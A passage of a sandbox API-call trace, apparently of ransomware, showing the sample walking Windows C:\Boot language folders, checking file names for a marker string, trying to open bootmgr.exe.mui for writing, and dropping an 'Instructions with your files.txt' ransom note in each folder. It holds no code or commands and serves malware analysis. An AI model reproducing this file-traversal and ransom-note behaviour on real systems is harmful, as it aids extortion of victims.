[0033.017] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
[0033.017] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE") returned 17
[0033.017] GetProcessHeap () returned 0x2e0000
[0033.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.017] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\*") returned 19
[0033.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.018] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\.") returned 19
[0033.018] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.018] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\..") returned 20
[0033.018] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.018] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33
[0033.018] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.018] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.024] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.024] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\Instructions with your files.txt") returned 50
[0033.024] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\Instructions with your files.txt" (normalized: "c:\\boot\\sv-se\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.024] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.025] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.025] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.025] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.025] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.025] CloseHandle (hObject=0x108) returned 1
[0033.025] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.025] GetProcessHeap () returned 0x2e0000
[0033.025] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.025] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
[0033.025] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR") returned 17
[0033.025] GetProcessHeap () returned 0x2e0000
[0033.025] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.025] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\*") returned 19
[0033.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.026] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\.") returned 19
[0033.026] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.026] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\..") returned 20
[0033.026] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.026] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33
[0033.026] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.026] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.026] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\Instructions with your files.txt") returned 50
[0033.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\Instructions with your files.txt" (normalized: "c:\\boot\\tr-tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.026] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.027] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.027] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.027] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.027] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.027] CloseHandle (hObject=0x108) returned 1
[0033.028] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.028] GetProcessHeap () returned 0x2e0000
[0033.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.028] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
[0033.028] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN") returned 17
[0033.028] GetProcessHeap () returned 0x2e0000
[0033.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.028] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\*") returned 19
[0033.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.028] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\.") returned 19
[0033.028] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.028] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\..") returned 20
[0033.028] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.028] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33
[0033.028] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.033] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.033] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\Instructions with your files.txt") returned 50
[0033.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.033] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.034] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.034] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.034] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.034] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.034] CloseHandle (hObject=0x108) returned 1
[0033.034] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.035] GetProcessHeap () returned 0x2e0000
[0033.035] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.035] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
[0033.035] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK") returned 17
[0033.035] GetProcessHeap () returned 0x2e0000
[0033.035] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.035] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\*") returned 19
[0033.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.035] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\.") returned 19
[0033.035] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.035] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\..") returned 20
[0033.035] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.035] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33
[0033.035] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.035] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.035] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\Instructions with your files.txt") returned 50
[0033.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-hk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.036] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.036] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.037] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.037] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.037] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.037] CloseHandle (hObject=0x108) returned 1
[0033.037] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.037] GetProcessHeap () returned 0x2e0000
[0033.037] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.037] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
[0033.037] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW") returned 17
[0033.037] GetProcessHeap () returned 0x2e0000
[0033.037] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.037] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\*") returned 19
